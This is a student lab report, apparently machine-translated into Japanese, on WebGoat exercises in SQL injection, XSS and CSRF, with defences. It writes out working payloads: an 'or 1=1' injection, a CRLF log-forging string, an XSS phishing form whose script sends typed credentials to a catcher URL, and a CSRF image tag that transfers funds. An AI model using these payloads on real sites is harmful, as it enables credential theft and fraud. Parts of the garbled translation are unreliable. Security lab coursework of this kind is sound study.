2018-2019-2 20162329「ネットワーク戦テクノロジー」Exp9:Webセキュリティエッセンシャル

Exp9:Webセキュリティエッセンシャル

まず、基本的な

1.SQLインジェクション攻撃

  • 理論的根拠:
    • 犯罪者は、データベースまたは破壊に予測不可能な又は不可逆的な攻撃の結果、背景がSQLクエリを実行するように、特殊文字、悪意のあるSQLコードを入力するフォームを介して、プログラミングの抜け穴を利用する場合には、です。
  • 守備のアプローチ:
    • 不要なフォーム送信のページを避けます。
    • 制限文字種、文字長の制限:などの入力コントロールを形成します
    • データベース層でのライセンスメカニズムを使用して、データベース操作は、行動を制限します。

2.XSSクロスサイトスクリプティング攻撃

  • 理論的根拠:
    • サーバーにアクセスするための通常のユーザーは、このようなユーザーのアクセスなどの攻撃を、スクリプトられるとき、悪質なスクリプトコードを注入することにより、脆弱性のサイトを利用し、あるいは信頼するようにユーザーのブラウザを使用して送信したり、サーバーに保存し、攻撃者クッキーやその他の情報。
  • 守備のアプローチ:
    • 、独自のユーザーがブラウザに入力したユーザー名とパスワードを保存しないようにしてください
    • Webサイトの開発者は、ユーザーによってアップロードされたデータの一部フィルタリングする必要があります
    • 入力フォームの制御

3.CSRF CSRF

  • 理論的根拠:
    • ユーザーがWebサイトの入力を訪問すると、ユーザー名とパスワードは、ウェブサイトの成功事例を訪問し、Aは、Cookie情報を生成して返すのサイトで検証され、通常はサイトAに要求を送信 ない出口部位A、別の悪質なアクセス、サイトBの前に、サイトBはサイトAに、いくつかの攻撃コードと要求へのアクセスを返すことがあるため、サイトBの要求に応じて、要求元のサイトAへ Webサイトが、要求が悪質であるかわからないので、それは悪質なコードを実行します。
  • 守備のアプローチ:
    • トークン認証要求
    • リファラーを確認
    • ランダム検証を追加します
    • Cookieドメインを設定します

二、SQLインジェクション

1.コマンドインジェクション

  • 攻撃方法:フォームの送信中に入ってくる悪質なコマンドデータは、サーバ側で実行します。
  • 実験手順:
    • ページ上で右クリックし、選択inspect Element
    • キーボードを押してf12表示ページのソースを
    • クリックしてview次のようにしているコードの結果を実行するためのボタンを:

2.デジタルインジェクション

  • 攻撃方法:決して本当にフォーム入力で注入されたSQL文が実行されなければならないように、入力タイプデジタル世代。
  • 実験手順:
    • するために、実験的にページのソースコードを参照してくださいvalue='101'、追加、変更or 1=1、本当に式のように決して設定されていません。
    • 以下の結果を実行するためのボタンをクリックしてください:

3.ログ欺きます

  • 攻撃方法:犯罪者は、スクリプトを注入することにより、スクリプト経由でログファイルを変更します。
  • 実験手順:
    • 実験環境によって提供される形式の入力キャリッジリターンとラインフィード。2329%0d%0aLogin Succeeded for username: 162329%0d%0a
    • 以下に示すような結果:

三、XSS攻撃

1. XSSのフィッシング攻撃

  • 攻撃方法:フォームの入力スクリプトを使用して、ページのHTMLを変更するには、ユーザーが入力したときにユーザーが入力した情報を取得するフィッシングサイト生成します。
  • 実験手順:
    • テスト環境、フォーム、構造釣りインターフェイスでスクリプトコードを入力します。
    • インターフェイスのコードは次のよう:
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> 
    Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    <script>
    function hack()
    { 
     alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
     XSSImage=new Image; 
     XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";
    }
    </script>
  • 示すように、上記のコードは、検索をクリックし、検索ボックスに入力されます。
  • ユーザーがクリックは、攻撃者のインタフェースを送信すると、以下のように表示されます。

四、CSRF攻撃

1. CSRF

  • 攻撃方法:
    • 悪意のあるユーザーが別のユーザーCSRF攻撃を誘発するためにクリックを誘惑するためにURLを送信します。それが簡単にユーザーがだまさために作るために、私たちは絵の形式でURLを非表示にすることができます。
  • 実験手順:
    • 261と900のためのsrcと値の[表示]メニューのパラメータ
    • メッセージボックスで、入力し<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>、次のように[送信]をクリックしますと結果は以下の通りでした。
    • ユーザーがクリックすると、メッセージのフィールドピクチャは、ユーザ2329元を盗みます

第五に、実験と経験の概要

この実験は実際の実験では、だけでなく、これらの攻撃に対して、独自の防衛を総括プロセスを理解するために、SQLインジェクション、XSS攻撃やCRSF攻撃を何であるかを感じるを通じて、利益を感じます。

おすすめ

転載: www.cnblogs.com/Zhangxusheng/p/10926028.html